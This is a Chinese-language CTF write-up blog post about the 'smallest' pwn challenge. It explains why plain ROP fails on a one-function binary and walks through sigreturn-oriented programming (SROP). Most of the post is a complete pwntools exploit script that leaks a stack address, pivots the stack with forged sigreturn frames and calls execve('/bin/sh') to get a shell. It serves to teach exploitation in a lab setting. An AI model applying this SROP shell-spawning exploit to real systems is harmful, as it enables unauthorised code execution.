SROP--smallest

  • 会飞的鱼
  • 12 Minutes
  • May 11, 2019

一:程序分析

这个程序可真短,只有一个start函数小徐眉头一皱觉得并不简单orz,仔细分析之后发现

1.想执行system(‘/bin/sh’)但没有调用system函数

2.想算出system函数地址但不知道libc版本

3.想泄露libc版本但没有write,puts之类的输出函数

4.ret2syscall,用ROPgadget也没找到syscall

5.也没有合适的gadget构成rop链

学习到ROPgadge无法将单独的syscall识别成一个gadget,解决办法是安装ropper[https://github.com/sashs/Ropper] ,然后使用SROP为寄存器赋值,构造rop链

srop的原理可以学习http://www.freebuf.com/articles/network/87447.html

个人理解是,在控制权从用户层到内核层时,cpu将参数信息和返回地址保存到栈中,去检查请求信息,然后执行相关函数,最后返回到用户层,我们利用这一机制,伪造一个堆栈,并设置好参数信息,使程序返回到任意地址

二 漏洞利用

1.泄露栈地址

2.把栈劫持到泄露的栈地址处,将bss段并将shellcode写到fakestack上

3.使用SROP设置参数,使程序返回到fakestack并执行shellcode

三exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/usr/bin/python

#coding:utf-8



from pwn import *



context.update(os = 'linux', arch = 'amd64')



syscall_addr = 0x4000be

start_addr = 0x4000b0

set_rsi_rdi_addr = 0x4000b8

shellcode = asm(shellcraft.amd64.linux.sh())



#io = remote('172.17.0.3', 10001)

io=process('./smallest')



payload = ""

payload += p64(start_addr) #返回到start重新执行一遍sys_read,利用返回值设置rax = 1,调用sys_write

payload += p64(set_rsi_rdi_addr) #mov rsi, rsp; mov rdi, rax; syscall; retn,此时相当于执行sys_write(1, rsp, size)

payload += p64(start_addr) #泄露栈地址之后返回到start,执行下一步操作



io.send(payload)

sleep(3)

io.send(payload[8:8+1]) #利用sys_read读取一个字符,设置rax = 1

stack_addr = u64(io.recv()[8:16]) + 0x100 #从泄露的数据中抽取栈地址

log.info('stack addr = %#x' %(stack_addr))

sleep(3)



def execve():

#sys_read+sys_execve流程 #获取栈地址,在栈上取一块空间,使用SROP调用sys_read在指定地址读入"/bin/sh\x00",随后调用sys_execve起shell



#-----------------change stack-------------------



frame_read = SigreturnFrame() #设置read的SROP帧,不使用原先的read是因为可以使用SROP同时修改rsp,实现stack pivot

frame_read.rax = constants.SYS_read

frame_read.rdi = 0

frame_read.rsi = stack_addr

frame_read.rdx = 0x300

frame_read.rsp = stack_addr

frame_read.rip = syscall_addr



payload = ""

payload += p64(start_addr)

payload += p64(syscall_addr)

payload += str(frame_read)

io.send(payload)

sleep(3)

io.send(payload[8:8+15])

sleep(3)



#-----------------call execve-------------------



frame_execve = SigreturnFrame() #设置execve的SROP帧,注意计算/bin/sh\x00所在地址

frame_execve.rax = constants.SYS_execve

frame_execve.rdi = stack_addr+0x108

frame_execve.rip = syscall_addr



payload = ""

payload += p64(start_addr)

payload += p64(syscall_addr)

payload += str(frame_execve)

payload += "/bin/sh\x00"

io.send(payload)

sleep(3)

io.send(payload[8:8+15])

sleep(3)

io.interactive()



execve()